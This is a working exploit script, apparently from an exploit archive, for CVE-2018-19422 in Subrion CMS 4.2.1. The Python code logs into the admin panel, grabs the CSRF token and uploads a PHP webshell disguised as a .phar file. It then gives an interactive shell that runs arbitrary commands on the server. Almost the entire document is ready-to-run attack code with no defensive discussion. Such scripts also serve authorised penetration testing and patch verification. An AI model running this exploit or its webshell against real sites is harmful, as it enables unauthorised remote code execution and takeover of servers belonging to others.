Subrion CMS 4.2.1 – Arbitrary File Upload

# Exploit Title: Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated)

# Date: 17/05/2021

# Exploit Author: Fellipe Oliveira

# Vendor Homepage: https://subrion.org/

# Software Link: https://github.com/intelliants/subrion

# Version: SubrionCMS 4.2.1

# Tested on: Debian9, Debian 10 and Ubuntu 16.04

# CVE: CVE-2018-19422

# Exploit Requirements: BeautifulSoup library

# https://github.com/intelliants/subrion/issues/801

#!/usr/bin/python3

import requests

import time

import optparse

import random

import string

from bs4 import BeautifulSoup

parser = optparse.OptionParser()

parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri http://target/panel")

parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login")

parser.add_option('-p', '--passw', action="store", dest="passw", help="Password credential to login")

options, args = parser.parse_args()

if not options.url:

print('[+] Specify an url target')

print('[+] Example usage: exploit.py -u http://target-uri/panel')

print('[+] Example help usage: exploit.py -h')

exit()

url_login = options.url

url_upload = options.url + 'uploads/read.json'

url_shell = options.url + 'uploads/'

username = options.user

password = options.passw

session = requests.Session()

def login():

global csrfToken

print('[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 \n')

print('[+] Trying to connect to: ' + url_login)

try:

get_token_request = session.get(url_login)

soup = BeautifulSoup(get_token_request.text, 'html.parser')

csrfToken = soup.find('input',attrs = {'name':'__st'})['value']

print('[+] Success!')

time.sleep(1)

if csrfToken:

print(f"[+] Got CSRF token: {csrfToken}")

print("[+] Trying to log in...")

auth_url = url_login

auth_cookies = {"loader": "loaded"}

auth_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.1.20", "Connection": "close", "Referer": "http://192.168.1.20/panel/", "Upgrade-Insecure-Requests": "1"}

auth_data = {"__st": csrfToken, "username": username, "password": password}

auth = session.post(auth_url, headers=auth_headers, cookies=auth_cookies, data=auth_data)

if len(auth.text) <= 7000:

print('\n[x] Login failed... Check credentials')

exit()

else:

print('[+] Login Successful!\n')

else:

print('[x] Failed to got CSRF token')

exit()

except requests.exceptions.ConnectionError as err:

print('\n[x] Failed to Connect in: '+url_login+' ')

print('[x] This host seems to be Down')

exit()

return csrfToken

def name_rnd():

global shell_name

print('[+] Generating random name for Webshell...')

shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))

time.sleep(1)

print('[+] Generated webshell name: '+shell_name+'\n')

return shell_name

def shell_upload():

print('[+] Trying to Upload Webshell..')

try:

up_url = url_upload

up_cookies = {"INTELLI_06c8042c3d": "15ajqmku31n5e893djc8k8g7a0", "loader": "loaded"}

up_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------6159367931540763043609390275", "Origin": "http://192.168.1.20", "Connection": "close", "Referer": "http://192.168.1.20/panel/uploads/"}

up_data = "-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n17978446266285\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"__st\"\r\n\r\n"+csrfToken+"\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\""+shell_name+".phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php system($_GET['cmd']); ?>\n\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1621210391\r\n-----------------------------6159367931540763043609390275--\r\n"

session.post(up_url, headers=up_headers, cookies=up_cookies, data=up_data)

except requests.exceptions.HTTPError as conn:

print('[x] Failed to Upload Webshell in: '+url_upload+' ')

exit()

def code_exec():

try:

url_clean = url_shell.replace('/panel', '')

req = session.get(url_clean + shell_name + '.phar?cmd=id')

if req.status_code == 200:

print('[+] Upload Success... Webshell path: ' + url_shell + shell_name + '.phar \n')

while True:

cmd = input('$ ')

x = session.get(url_clean + shell_name + '.phar?cmd='+cmd+'')

print(x.text)

else:

print('\n[x] Webshell not found... upload seems to have failed')

except:

print('\n[x] Failed to execute PHP code...')

login()

name_rnd()

shell_upload()

code_exec()

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